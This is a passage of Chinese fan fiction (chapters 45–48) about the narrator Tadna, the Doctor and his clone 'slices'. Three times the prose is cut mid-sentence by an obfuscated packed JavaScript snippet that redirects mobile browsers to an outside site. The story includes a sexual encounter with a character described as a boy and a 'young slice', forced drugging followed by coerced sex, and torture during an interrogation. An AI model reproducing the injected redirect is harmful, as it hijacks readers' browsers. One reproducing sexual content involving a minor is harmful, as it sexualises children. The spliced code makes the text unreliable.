【队长】不再多说什么,只是调转方向离开。 我沉默地听着这样一出什么也听不懂的戏码。等到多托雷结束这一切,将视线重新投到我的身上的时候,我才后知后觉地感受到一点害怕来。 “过来。”他说,语气听不出情绪。 我顺从地走过去。 多托雷抬起我的下巴,手掌抚摸着我脖颈上青紫的痕迹。 “你在对我‘把你安排在Theta切片身边’这件事感到不满?”他问。 多托雷的抚摸并不算温柔,甚至,随着那手套的触感,伤口开始难耐地疼痛。 但我莫名其妙从这样的动作里感到一点熟悉的心安。 犹如倦鸟归巢。 我伸手攀上多托雷的肩膀,在熟悉的危险的气息中阖眼。 “主人……”我呢喃着,或许在一刻,连理智也稍微下线。 “主人,不要抛弃我……” 45.第 45 章 我再一次回到了多托雷身边,过程顺利地令人瞠目,就算是我,也不敢相信就真的这么容易再一次取得了多托雷的纵容。 Theta切片的结局我不得而知。 他或许真的被我销毁了,又或许没有。制作一个切片的损耗过大,我不确定多托雷是否真的会就这么轻易地抛弃Theta切片。 但值得庆幸的是,我没有必要再担心这件事了。 我再一次成为了多托雷最信任,最亲近的副官,好似那些龃龉都就此被丢弃。 再一次作为多托雷对外的“代理人”行走,与切片们纠缠的时光似乎已经恍如隔日。 我见到了一些熟人。 比如【女士】。 这位大人的风姿比起百年前的印象并无任何逊色。我与【女士】在一次普通的工作对接中再次见面,彼时我正在处理赞迪克实验室暴乱遗留事宜的一系列事情。 值得一提的是,在Theta切片暂且生死不明的当下,多托雷解除了赞迪克的强制休息,但是却把这件事情交给了我处理。 这件事比我预想中的要牵扯得过深。所以我找到了【女士】,希望能得到一些线索。 火之魔女面对他人时,依旧是那一副高高在上的姿态,只是在见到我时,面色稍微柔和了几分。 “塔德纳,真真是许久不见了。自从听说你被放出来之后就想着什么时候能再见到你。恭喜你,完完整整地回来了。” 我轻轻俯身:“【女士】大人。许久不见,别来无恙。” “哪有什么‘无恙’的。”【女士】似乎心情很不错,甚至同我开起了玩笑,“你是不知道,自从你离开,那个家伙就更难相处了。一想到没了你从中融合,单只是看到你那位难缠的上司就让人浑身不舒服。” 看来多托雷和【女士】之间的嫌隙过了这么久倒是一如往日。 我不太敢回这话,于是转移了话题。 “【女士】大人,我想此次的事宜您也已经早有耳闻了。” “啊,当然,实验室那件事对吧。”【女士】轻哼一声,“【博士】那家伙,制造出一大堆切片又不加管理,结果闹出这样大的事情,还得我们这些人来替他料理。他呢?还在忙他那不知所谓的实验?” “主人他总是很忙碌……” “不过是懒得管这件事的借口罢了。”【女士】摆手,“你也不用想着替你这位上司开脱,为着这件事,现在有一大把的人都在对【博士】不满呢。单我知道的,【富人】,【公鸡】,甚至是那位【队长】大人,也对此时颇有微词。” 我听得有些汗流浃背。 “感到庆幸吧,至少你第一个找的人是我。虽然事情是【博士】那家伙干出来的,但你现在的风评可也不算太好。我想,回复了你的请求的人,恐怕现在也只有我一个吧?” 我想起早些时日向另外几位执行官递交的会面函,皆是石沉大海,不由得苦笑。 “您说得没错。事实上,我最近也在苦恼这件事。” 【女士】抱着双臂,那双眼睛看着我,沉默了一会儿,又叹出口气。 “你啊,真是让我不知道该怎么说好了,怎么就被那家伙盯上,单拎着你欺负……” 【女士】突然朝着我的方向走近两步,影子半落在我的身上。 我忍不住稍后退半步,将距离拉得稍远一点。但即使这样,依然能直视进那紫色的眼瞳。 “你真的没想过换一条路吗?一直待在那家伙身边的话,会被折磨得坏掉的吧?” “【女士】大人……” 我对这位大人的一些措辞有些眼花缭乱:“不……倒也不至于……” “至不至于你比我更清楚,塔德纳。”【女士】打断我,“对你的监禁的减免命令明明半个月之前就下发执行了,你却现在才恢复自由行动,加上之前关于【博士】那些切片的传言……塔德纳,继续留在【博士】身边对你而言并不是最安全的选择,你很清楚吧?” 我一时间有些头晕。 “啊……那些事情,也传出去了吗?” “那应该还没有到你心里想得那种程度。” 额头被轻轻弹了一下。 我伸手挡住额头,抬头看向【女士】。 “别这样一副委屈的样子,我可不会吃你这一套。”【女士】似乎是想起来了什么,又加了一句,“现在的【博士】估计也不会。” 【女士】的声音带上点严肃。 “算是对你的提醒,别看那家伙和以前似乎没怎么变化,能制造出那么多个‘自己’的人,能正常到哪里去?回到我们的话题吧,你真的不打算换一个‘栖息处’吗?” 我有些沉默。 【女士】说的一切我并不是不清楚。自从再一次见到多托雷,我能够很明显地感觉到,能在多托雷身上使用诡计得到的纵容变得更少了。 那样的欲望和感情或许仍然存在,只是,同样,多托雷也在变得愈发理性,愈发傲慢。 这或许是因为多托雷的实力变得更强,也或许是因为切片的缘故,但无论如何,这对我来讲都不是一个好消息。 但是…… “但是,我又能够去哪里呢?” 我看着【女士】。 “和像您这样的大人物不同,我既无任何出众的才能,也无任何权力和力量,如今能够得以苟活不过也是仰仗主人的些许怜惜。离开主人,我的安身之处,又真的还存在吗?” 【女士】再一次深深叹气。 “我提起这件事并不是想看到你自怨自艾的样子。”她说。 “我永远都记得从稻妻回来之后见到你的那次。即便面对的是【博士】的阴谋,你的脸上出现的也绝不会如同现在这般的茫然和懦弱。” 我的记忆回溯着,想起是那次向【女士】承诺会“一直作为‘塔德纳’单独行走”的那次。 真是久远的记忆…… 我咀嚼着这样久远到有些褪色的记忆,语气低而轻。 “或许……是因为要同时应对许多人,许多事,有些疲惫吧。” “看来【博士】的那些切片对你的影响确实很深。” 我的大脑中忍不住回想起赞迪克,少年切片,以及……被我在殊死抵抗中销毁的Theta切片。 那只即使完全黯淡下去也依然紧盯着我的机械独眼。 “我无法否认。”我感到有些头疼。 “的确发生了一些事情,让我……有些不再敢轻举妄动。我一直再想……或许继续监牢里面的生活,这样软弱的未来,更加适合我。” “塔德纳,你在逃避。”【女士】摇头。 我从她的语气里听出来“失望”。 我为此感到更加茫然和痛苦。心脏的跳动不受控制地被扰乱节奏。 “就这样吧,我只是作为一个还算认识的人,提醒我的‘朋友’一句而已。” 【女士】似乎失去了继续攀谈的兴趣。 她的语气变得公事公办。 “我知道实验室暴乱背后牵扯很深,我这边的势力会尽可能配合你调查,至于其他的……我会建议你去找一趟那位市长大人。这件事虽然严重,但能被闹得影响到第二席执行官,背后的势力交杂……哼。我想你也清楚这其中的利害。” 我将脑海里杂七杂八的碎念摒除。 【女士】的态度出乎意料的友好,这让我松了一口气。在此之前我也很担心【女士】会因为和多托雷的嫌恶拒绝帮忙。 “感谢您,【女士】大人。”我由衷地说。 “道谢的话就不必了。你要是真的想表示对我的谢意的话,不如把自己照顾得好一点。” 被黑色丝绸包裹的手指捏起我脸颊上的软肉向外拉扯了一下。 我茫然地呆站在原地,连阻止都想不起来。 脸颊上的力道并不算大,甚至称得上“温柔”。 “我要先离开了。下一次再见吧,塔德纳。” “是……” 在与【女士】分别后,我并没有着急去找那位【公鸡】大人,反而去了一个地方。 一个熟悉的地方。 我在酒馆的门口看见了之前见到过的那个邋遢的中年男子。 他正被两名身强体壮的酒保架着要从酒馆内扔出去。 “哎哟,两位大人,求求你们,再宽限一段时间吧,我真的会把酒钱补齐的。” “呵,你这个老赖,说好会有人替你付钱,结果在酒馆白吃白喝了一个多星期!老板说了,要是明天你还不把钱补上的话,就拿你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你既然救人心切,那么我也不好不帮你这个忙。”我尽量用平稳的语气说,“我会带你去实验室找你的家人,你领着他们离开就是了。” 中年男子的表情瞬间变得犹疑:“大人……这……” 我语气压低:“怎么?你还有别的要求吗?” 中年男子害怕地抖了一下:“不,不,大人,小人只是……小人只是……” “只是什么?”我逼问。 中年男子更加紧张了,连看都不敢看我,声音也变得结巴。 我能看出来,他在心虚。 “大,大人,小人,小人只是觉得,觉得……” “觉得什么?要说就赶快点,我没时间陪你耗在这里!” “大人饶命!大人饶命!小人,小人只是觉得虽然我的家人是被救出来了,但是,但是您想想看啊,还有其他人被关在实验室……对了!还有其他人。” 中年男子像是终于找到了一个理由,大松了口气。 “您想想,您可是最最心善的大人,怎么可以坐视那么多人都在实验室遭受非人的虐待?小人的家人只是小事,但是,除了小人的家人,还有那么多人,一想到这些人依然会在实验室受苦,我……” “够了。” 我忍无可忍地打断他的话。 看着中年男子心虚的神色,我开始相信少年切片的那些话。 这家伙,恐怕也是贩卖自己的家人给实验室获取钱财的人之一,只是被不知道谁挑唆了,又来实验室闹事。 于是我直截了当地问他:“让你来实验室闹事的人,到底是谁?” 中年男子装傻:“啊?大人,我不知道您在说什么……啊——” 我一脚踩在中年男子放在地上的手掌上,鞋跟落在手指与掌面连接的凸起上,狠狠用力。 中年男子发出凄厉的惨叫。 “我想你,以及你身后的人,可能有点误会,我可算不上一个完全的善人。” “说出你的幕后主使,否则,我会杀了你。” 46.第 46 章 “我说,我说,大人,我说……”中年男子哀嚎着,“有位大人给了我一笔很丰厚的钱,让我集合一大堆人去实验室闹事,只要是……只要是‘控诉实验室以不合规的手段掳走普通人当实验素体’相关的都行,事成之后,事成之后会再给我们一笔钱,我就,我就……” “我问的是那个家伙是谁。” 我更加用力。 “啊——大人,我不知道啊,这个我真的不知道啊,和我接头的人戴着面具,穿着斗篷,我也不知道那位大人是谁啊……” “那你要怎么拿到之后的钱?” “那位大人说过,事成之后,剩下的钱会埋在城东一颗歪脖子树下面,就是,就是那个最有名的,被叫做‘许愿树’的下面,上面系着很多红色的丝带。” “你确定你说的都是实话?若让我发现有半分虚假……” “我保证,我保证,大人!” 中年男子脸上的恐惧不似虚假。 他说的应该都是真的。 如果这样的话,背后那人,目标明确且擅于隐藏自身,从中年男子口中估计是问不出什么多余的线索了。 有些棘手…… “你……我这里有一笔买卖,我希望你能继续去实验室闹事,闹得越大越好,事成之后,我会给你一笔钱。” 既然如此,或许,我可以将计就计。 “啊?”中年男子一脸疑惑。 “我说的不够明确吗?” “没有,没有,大人,我保证完成任务。” 我点了点头,从怀中取出一小袋摩拉扔给中年男子:“这是定金。” 男人看见摩拉,脸上的贪婪遮掩不住:“多谢大人,多谢大人。” “我需要尽快看到成果。” “是,大人。但是,大人您看,这驴拉磨都得吃草,您是否再……”中年男子并拢大拇指和中食指,搓了搓。 “我不是已经给过你定金了吗?” “哈哈,您也知道,小人欠了酒馆一笔钱,要是还不上,那酒馆老板说要把我腿给砍掉,小人的腿是小事,但是要是耽误了大人您的事情……” 我:“……” 我又掏出一袋摩拉扔给他:“拿上立刻滚。” “好嘞大人。” 中年男子拿上钱就忙不迭地滚了。 我只觉得这人实在心烦。 要引出这一系列事情的幕后黑手的话,单单是示敌以弱可不算够。 我需要去实验室一趟,一来是安排好事情等中年男子带着人来“闹事”,第二,则是彻查实验室的那些人。 这件事牵扯如此深入,若说实验室没有人勾结,是万万做不成的。 我其实很少来这边的实验室,这个实验室是多托雷在至冬的众多实验室之一,规模不算大,现在管理权是在赞迪克手里。 我实在是和赞迪克相处不来,所以一般是派再下面的人过来。 据下面的人回复,赞迪克最近好像没来过实验室,如今出现在这里的,大多是…… “是你?你怎么来这里了?” 熟悉的少年声音从不远处传来。 少年切片。 真是说曹操,曹操到。 我抬头,脸上挂上温和的,且带着尊敬的笑容,对这位少年轻轻俯身。 “大人,好久不见。” 不知道为什么,看见少年切片后最近的心烦意乱反而减轻了不少。 少年切片一脸狐疑地看着我:“听说你最近在‘本体’身边。” 那双圆润的红眸上下打量着我,少年语气倨傲。 “看来你过得还不错,比起上次见面。” “劳烦大人一直挂念着我。” “谁挂念你了!”少年的脸色微红,“你不要自作多情。” 我不由得轻笑。 “好吧,大人。虽然得知您并没有‘挂念我’这件事,让我实在是有点伤心。” 少年的脸上出现名为“惊惧”的神色。 “你……你怎么回事?在‘本体’身边待久了连精神都不正常了吗?” 我耸肩,一时之间竟然无法否认。 “算了,我不跟你计较。”少年摆正脸色,“你来这里干什么?” 我忍不住开了个玩笑:“当然是来看您的,大人。” 少年切片:“……” 少年切片:“你病得太深了,没救了,埋了吧。” “您对我可真是心狠。” “你要不要听听你都说的是些什么?!” 少年声音不自主地拔高,藏在微卷的头发里面的耳尖染上了红色。 周围的人都朝着这边看过来,眼神带着惊奇。 我对这样被其他人围观的事情已经见怪不怪了,但少年切片似乎无法习惯这种事情,拉着我的手臂进了一个房间。 是会议室。 少年切片把我揉搡几下推进去,然后锁上门。 “你这个家伙!”少年咬牙,“你就偏偏要当着那么多人的面,说那些话吗?” “哪些话?”我稍稍偏头看向少年。 “就是……”少年支吾了半天,最终还是没有那么厚的脸皮把我说过的话重复一遍。 少年自暴自弃地说:“你知道你都说了些什么!不知廉耻!” “大人,这可真是冤枉。” 我嘴上这样如意地接着话头,伸手拿了一把椅子。 正准备坐下去的时候,身体被轻轻推了一下。 少年切片脸色不善地夺过我手里的椅子,坐上去,右腿翘着。 我愣了一下。 少年切片瞪我:“看什么看?你不准坐,就站着。” 好在我其实并不在意是坐着还是站着,毕竟在多托雷身边的时候,很多私下相处的场合我都是跪着的。 至少少年切片对我没有这种要求。 我颇为乐观地如此想着,在少年切片身边站定。 我说:“谨遵您的命令,大人。” 少年切片啧了一声。 我不太明白这位大人又在因为什么不爽,虽然好像应该是和我相关的事情。 我们之间保持了相当长一段时间的沉默。 当然,并不是因为我不想说话,事实上,我这次来实验室确实是要找少年切片一趟商量些事情的。比起赞迪克,显然这位少年切片更有可能帮助我。 不过少年切片似乎很在意自己的“上位者”地位,特别是在与我相处的时候。 我决定尊重少年的这点心理。 所以,少年切片没出声,我也暂时保持着身为“下位者”应有的沉默。 过了很久,少年切片又啧了一声。 “你……你怎么不说话?” 我无辜地看着少年:“您还没有说话,属下不敢先说。” “你!反而在这种没有意义的地方知道我是你的‘上级’了吗?!” 少年切片又生气了。 他真的和所有其他切片都完全不一样。反正我是没办法想象多托雷被我三言两语逗生气的样子。 少年切片气地用那翘起来的右脚在我大腿外侧踹了一下。 力道很轻,我甚至没感受到什么痛。 “大人?” “……你都不反抗的吗?” 这下疑惑的人换成我了。 “‘反抗’?什么‘反抗’?” 腿上又挨了一下,这次力道变得稍微大了一些,但还是收着力。 “这个!你都不反抗一下,不躲一下吗?” 原来指的是这个吗…… 我回答:“您是我的‘上级’,您看我不爽,身为下属,我怎么能躲开呢?” 其实是因为少年收着力根本就不疼。 但我决定试探一下少年。 果然,在我说出这句话的时候,少年切片脸色都变黑了。 他说:“活该你被欺负!” 声音咬牙切齿的,也不知道是在不爽什么。 真是奇怪……我总感觉少年切片今天对我的态度有点反常。 我决定旁敲侧击一下,于是稍微俯身,轻声询问:“大人,您……” 但声音很快被打断了。 我的领口揪上一只稍小一点的,白皙瘦长的手,那只手用力地骨节都凸出了,一股大力拉着我朝下拽去。 我顺从地弯腰,整个人被拽到少年的眼前。因为不太好受力,我一手扶着椅子上的扶手。 “大人?”我有些讶然。 很快,一只有些微凉的手掌抚上我的侧脸。 那是少年的手,骨架还小,但已能看出未来惊人的大小。那落在脸上的抚摸似乎带着少年的犹疑,温柔而踌躇。 我对上少年的双眼,在红色的瞳孔看见我自己的身影。 “你知道吗?”耳垂被轻轻按压着,不带情色,似乎只是好奇这柔软的人体组织。 少年切片极为认真地看着我:“‘本体’,又分享了新的记忆,是关于你和……Theta切片的。” “我很好奇……”耳垂上的手又到了唇边,犹豫了一下,才抚上那两片软肉,摩挲揉搓着,“你似乎害怕且讨厌Theta切片,但有的时候,又似乎没有。和Theta切片做那种事情的时候,连害怕也可以抛却吗?” 少年切片的声音近在咫尺,几乎让我震颤。 “做这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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少年脸上的表情凝固,似乎一时反应不过来我准备干什么。 我抬头。从这个角度,正好能看见少年脸上呆滞的神色。 “您想好了吗?”我问。 “什么……呜呃……” 【……】 “好了。”少年扶着我的脸将我推开,“不用继续了,你……”他的眼神闪躲,“不觉得咽下去有点……” 我亲吻着少年有些湿润的掌心。 “只要是大人您的话,咽下去就没有问题。” “……不知廉耻……” “明明刚刚才享受了我的服务,却还要骂我吗?”我故意低垂着神色,“我会伤心的,大人。还是说,是我的技术太差了,没能让您尽兴……” “你不要这个表情,我知道你是故意的……啧,好了,我没有……” 脸颊上传来温柔的触感,少年切片扶着我的脸,低头亲吻上我的额头。 若即若离,带着少年的青涩和安抚。 “我没有不尽兴,你做得很好。”少年如此说。 视线甚至不敢落在我脸上,慌乱地转动着。 我感到有些好笑。 会议室的门被突然敲响。 我感受到少年切片的动作一僵。 下意识地握住少年的手背轻拍一下作为安慰,我扭过头,朗声问道。 “什么事?” “副官大人,【博士】大人找您。。” 多托雷? 我感到不解,脸上抚摸的手掌用力,带着少年的不满。 “是有什么事吗?” “不知道,只是似乎很着急,大人让您速回总部实验室。” 我在心中叹了口气。 “好的,我知道了。” 等到外面的脚步声远离,脸被少年用力地掰回。 “你要走了。” “抱歉,大人。”我任由少年切片更用力地亲吻我,甚至没戴耳坠的那侧耳朵被用力地咬了一下。 “嘶……” 耳朵上的撕咬瞬间停止,很快覆上湿热的舔舐,笨拙地安抚。 “你之后还会再来吗?”耳边传来少年沉闷的声音。 “当然。”我说,“您也是我的大人。” “骗子……你明明更在意‘本体’……” 少年的纠缠几乎令人意乱神迷,即使知道这是多托雷的切片之一,我也不由得感到轻松和愉快。 于是我说:“但我最喜欢的是您。” 禁锢变得愈发紧密。 “这可是你说的,我当真了。” “绝无半句虚言,大人。” 47.第 47 章 从少年切片那里出来后,我稍微收拾了一下自己,确认从外表看不出来什么后才出发去找多托雷。 多托雷在实验室总部,当然,是指那个经过一次搬迁后的新总部。 离得距离有些远,我花了一些时间才赶到。 门口的人见到我没说什么,只是沉默着为我打开门。 实验室里没有其他人,我只看到多托雷一个人在实验台前,手里摇晃着一支试管。 听见我进来,多托雷停下动作。 “你离开的时间似乎比我预计的要长。” 似乎是在问责,但语气却带着点柔和,加上那身繁复的衣着,让我下意识地想到了Theta切片。 见鬼…… 怎么会突然想起那家伙…… 我轻轻甩了甩头,整理了一下思绪,将门关上后放轻脚步来到多托雷身边。 “抱歉,主人。事情比较繁琐,我去了一趟Beta切片大人那边的实验室,为了……” 话没说完,因为一只手抬着我低垂的头用力,我被迫抬头看向多托雷。 嘴唇被按压住。 “你见到Alpha了?”多托雷的声音带笑,“那具年幼切片的味道如何?” 像是被狂风卷过的丛林,我的心跳不由得加速。 “主……” 咽喉里细碎的声音被探入的手指毫不留情地搅乱,我仰着头,腰处压在试验台的边缘,坚硬的金属硌得那处腰疼。 “在回收Theta的时候,我整理了一下那具切片的记忆,在里面发现了许多有趣的东西。看来你与切片们相处得很好,塔德纳。虽然,那具专门为你而诞生的切片似乎并没能获得你的偏袒,反而是Alpha……” 口腔内的手指在最深处搅动,我能清楚地感受到指关节曲张的弧度,眼泪因为疼痛充盈眼眶。 “专门为……‘我’诞生的切片”?Theta切片吗? “你真的额外喜欢Alpha,为什么?那段愚昧的时期就这样讨你的喜欢吗?” 多托雷将手中的试管塞进我的口中,粗暴地将其中的液体灌进去。 毫无预料的动作让我呛了两下,我痛苦地咳嗽着,但喉间的力道丝毫不减,强硬地撑开我的喉管往里面灌入。液体虽然没什么味道,但在被吞下去的那一刻,身体开始泛起异样的热度,甚至连大脑,也像是被糨糊糊住了,晕乎乎地思考不过来。 耳朵嗡鸣着,只余多托雷的声音。 “我有点吃醋了,塔德纳。” 吃醋?谁?多托雷吗? 开什么玩笑,多托雷专门分享了那些记忆,难道不是想…… 思考在此处截止,大脑很快就被急速升起的温度烧得浑浑噩噩了,最后的意识里,我似乎被按着跪在地上,脑袋被巨大的力度挟持着按过去。 这段记忆实在是过于模糊且混乱,等我再次恢复意识的时候,人被安置在实验室的休息室内,全身上下,甚至是喉咙,都带着过度使用后的酸痛。 我撑着床坐起来。即使没有灯光,我也能想象到身上那斑驳可怖的痕迹。 我试图发出一点声音,但喉咙又肿又疼。 记忆……好像断片了。 我想起多托雷强行喂给我的液体,难得地感到头疼。 明明清幻剂的后作用现在已经基本不会出现了。 这算什么? 处罚?还是警告? 总不可能是真吃醋吧? 那可是多托雷…… 不知道为何,想起在实验室多托雷的话语和态度,我不由得感到震颤,以及后怕。 但这样的恐惧究竟来自何处,因何而起,我的内心又如同被迷障蒙蔽,想不清楚。 在多托雷身边待的时日越久,我好像越看不清多托雷的内核,也无法触及那被层层包裹掩饰的内心。 如今想来,【女士】说我在“逃避”,或许有一半的原因都来自于此。 多托雷好像什么都没变,但我却感觉他好像,变得“陌生”。 “你在想什么?很苦恼的样子啊。” 熟悉的声音传来。 我身体一僵,床头柜上的灯被打开,我看见多托雷不知何时出现,手里端着一杯什么。 他没戴面具,那双猩红色的双眸便直直落在我身上。 我想起自己没穿衣服,便把被子往上拉了拉,连半张脸都要被遮住。 多托雷似乎轻笑了一声。笑声太快也太轻,让我怀疑是不是自己幻听。 床边陷下一块,是多托雷坐了下来。离我很近,这个角度我甚至能看见衬衫下若隐若现的肌肉。 我默默转移视线。 耳边却响起多托雷平稳的声音。 “随便看。”他说,“需要我拉下来一点吗?也好让你看看自己的‘杰作’。” “主……主人……” 脸上的温度急速升高。 “呵呵。”多托雷心情似乎很不错,他伸手,将还冒着热气的杯子递到我面前。 “喝了。” 我下意识想起实验室被灌下的液体,有些犹豫。 “嗯?怎么不动?是需要我来吗?” “不……不用了,主人,我自己来。” 我有些慌乱地接过杯子,闭着眼尝了一口。 热的,甜甜的,似乎加了蜂蜜。 确认只是正常的蜂蜜水后,我放心地喝完了杯中的东西。 喝完之后喉咙确实好了不少,至少不会说话的时候都疼得仿佛吞了一百根针一样。 我想要把杯子放在哪里,看了眼床头柜,有点距离。以我现在行动困难的样子,移动过去可能不是太好看。 就在我纠结的时候,手中一空,多托雷很自然地拿走杯子放在柜子上。 “稍微感觉好点了吗?” “嗯……” 脸被抚摸着。 “虽然稍微有点粗暴,但也是为了让你长点教训。下一次,不要再离开这么久。” 那双猩红的双眸紧紧盯着我,仿若吞噬人心的深渊,连我的心神都要彻底夺去。 我听到自己的声音响起。 “是的……主人。” “睡吧,醒来之后再去继续交给你的任务。” “是……” 身体被放在床上,突如其来的困倦再一次将我拖入黑暗。 …… “副官大人,这是实验室所有人员的名单,按照您的要求,以研究人员,护卫队,实验素体,和管理层人员为类别分门别类,个人的详细资料都在上面了。” 我接过厚厚的一沓资料,对这样高效且缜密的工作表达了赞赏。 “做得不错。” “能为副官大人略尽绵薄之力,是属下的荣幸。” 我看着眼前这位尚且年轻的男子,露出一个挑不出毛病的微笑。 “你的功劳无人可以否认,不必如此谦虚。放心,等此事了结,我会在那位大人面前为你进言。” 男子的脸上露出喜不自胜的表情。 “多谢副官大人。” “副官大人,副官大人,不好了……” 不远处传来慌张的叫唤。 我扭头,看见一位仓惶的研究人员跑过来。 “副官大人不好了!关押实验素体的那边,不知道从哪里来了一批闹事的家伙,人数颇多,还带着兵器。我们的人正在押送一批实验素体,被这群闯进来的家伙缠上,好多实验素体都被趁乱放走了!” 我心下了然。 估计是那个中年男子带的人。倒是比我想象中的要快,还挑在这个时间,是背后那人要求的吗? 如此想着,我吩咐道:“去通知护卫队集合,迅速赶往镇压暴乱,务必要抓活口,另外,你……”我看向那名年轻的男子。 “你去找那位大人告知这件事,那位大人现在应该在……” “不用派人找我了。我就在这里。”带着傲慢的青年声响起。 “【博士】大人!” “【博士】大人,您可来了。” 赞迪克不知何时出现,正大踏步走向这里。 我心下微沉,但还是克制住想要立刻离开的想法,俯身。 “大人……” 赞迪克站立在我的不远处,我能感受到那不怀好意的眼光在我的身上流连着。 “听说这件事情被交给了你。” “是。” 赞迪克发出一声冷笑。 “真是荒谬。‘本体’那个家伙,没想到也有任人唯亲的糊涂时候。” “大人。”我深吸一口气,抬头对上那恶意满满的视线。 “如果我没记错的话,大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932954|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您好像已经被禁止参与解决这件事了。与其怀疑主人的安排,不如趁这段空闲的时间,好好排查一下您那些‘精挑细选’出来的部下。毕竟……” 我晃了晃手里的资料。 “‘任人唯亲’总好过被自己手下的‘贤能’背叛吧?” “呵……真是牙尖嘴利。你真以为,‘本体’回来了,我便不敢对你动手了吗?”赞迪克眼神阴冷。 “不敢。”我低头,“您和主人同样都是我的‘上级’,‘上级’要对‘下级’做什么,我又如何能反抗呢?” 赞迪克不知道想到了什么,声音更冷:“这话,你该留着和Theta切片说。” 讥讽完这一句,赞迪克看向其他人,语气变得更加不好。 “还在这里干看着干什么?准备等实验体都被放完了再去找护卫队吗?” “是,大人,我这就去……” 那位被我嘱咐了要去找切片的青年男子看向我。 在赞迪克准备再次开口之前,我说:“你去把这件事告诉另一位大人。” 赞迪克不爽:“哪位大人?” “当然是Alpha大人。” 赞迪克露出怪异的笑容。 “没必要废这份力,Alpha现在估计已经到暴乱现场了。” 我有种不好的预感。 “大人,”我提醒道,“别忘了,主人说过这件事……” “由你负责。当然,我当然记得。”赞迪克咧着嘴,尖锐的牙齿用力地磨压着,仿佛要把谁的喉管咬断。 赞迪克:“但我只是作为实验室的‘管理者’,对闯入实验室闹事的家伙进行合理的抓捕和处理而已。这件事,和‘本体’的命令冲突吗?还是说……” 高大的身躯逼近我。 “你有什么见不得人的事情,必须支开我。” 我后退一步,拉开距离。 “您想多了。” “最好如此。” 等我和赞迪克赶到事故发生地点的时候,暴乱已经被完全镇压了,只剩下装备森严的护卫队压着瑟瑟发抖的实验体回到关押的房间。地面上零星躺着几个衣衫褴褛的人,大概是跟着一起来闹事的,此时皆已经失去了呼吸。 我看了一圈,没有看到中年男子。 少年切片正在指挥护卫队清理现场,看到我,眼睛稍微亮了一瞬,只是视线落到赞迪克身上的时候又变成了嫌弃。 “来得可真快,再慢一点,我这边都要收队撤离了。”少年嘲讽。 赞迪克冷哼:“这么大气干什么,你也是实验室的使用者,为实验室做点事难道不是应该的吗?” 少年:“你!” 我适当地插入两人之间,对少年轻轻俯身。 “大人。” 少年的神情在接触到我后迅速柔和下来。 赞迪克在身后发出一声明显的嗤笑。 眼看着少年脸上的怒火就要重燃,我赶紧抓住少年的肩膀将他的视线完全拢到自己身上。 “大人,别生气,别生气。” 少年咬了咬牙,终究还是放弃了和赞迪克的斗嘴。 “你来实验室怎么不先来找我?”少年质问。 我有些汗流浃背:“我也刚来不久,准备忙完事情就去找您的……” “明明应该先来找我啊,你是笨蛋吗!” “你们两个,非要在这种大庭广众的场合下拉拉扯扯吗?” “又没和你拉扯,你在矫情什么?看不惯就离开好了,反正这里也没你帮得上的忙。” “放尊重点啊,小鬼,别忘了我的权限可是在你之上。” “只会拿权限说事的家伙!” 我扶额。 果然,这两个家伙碰上就绝对会吵得不可开交。 明明考虑到这一点,制定计划的时候专门绕过了赞迪克。这家伙不是最近不在实验室吗,偏偏今天撞上…… 我有些艰难地在两个人吵架的声音缝隙发声。 “大人……” 少年切片:“你这个只会以权压人的混蛋!” 赞迪克:“你为什么不压回来?是因为不想吗?” 少年切片:“人渣!” 赞迪克:“蠢货。” 我:“……” 误入小学生吵架片场,拼尽全力无法战胜。 48.第 48 章 我偶尔也会思考多托雷制作这么多个自己的“切片”究竟有何意义。给春节档多添几个语言类节目吗? 那确实吵得挺热闹的。 少年切片说过多托雷制造“切片”的目的——保留所有观察世界的视角。 我再次看了一眼吵得火热的少年和青年,感到一丝前所未有的疑惑。 观察世界。 这样观察吗? 虽然以我那贫瘠的智慧和身份,质疑多托雷的行为似乎显得格外可笑荒谬,但我还是忍不住这样想。 就这样,我在旁边看着这两位大人一来一回吵了快半个小时,等到少年切片终于想起来还在苦苦等待的我时,现场已经被清理得一干二净了,护卫队的领队过来小心翼翼地询问下一步的命令。 “问我干什么?”少年抱臂,“这里不是站着堂堂的实验室‘管理者’吗?” 语气相当讥讽。 少年切片明明知道赞迪克被明确禁止了参与实验室暴乱的解决过程,说这句话不过是挖苦赞迪克而已。 赞迪克冷笑。 青年没有回话,只是看向我,眼神森森。 领队便也小心翼翼地看过来。 少年切片没能看到预想中的画面,啧了一声,那双红色的双眸也落到我的身上。 被三双眼睛同时盯着的我:“……” 我扶额,稍微整理了一下思绪才开口。 “暴乱既然已经制服,便收队吧。所有被抓到的闹事之徒,都先关押起来,之后按照规定移交给监狱那边处理。” 赞迪克:“你要保这些人?” “并不是‘保护’,而是按照规定办事。”我正正迎上赞迪克的视线,“还是说,大人您想要蔑视愚人众和至冬的法律条款吗?” “你是在指责我?” “不敢。” 我低头,维持着面上的恭敬。 但实际上,我此刻已经紧张地心脏都要从喉咙里跳出来了。 赞迪克绝不是一个乐于遵守规定的家伙。不,倒不如说,这个家伙,这个敢于在智慧的园圃进犯六宗之罪责的“异端”,是一个真真正正的,视规则于无物的傲慢之人。 虽然按照愚人众的处理规定,这些人大概率会在经历一轮拷问之后被按罪论罚打入监牢,这样的结果也在我的接受范围之内。 但若是赞迪克…… 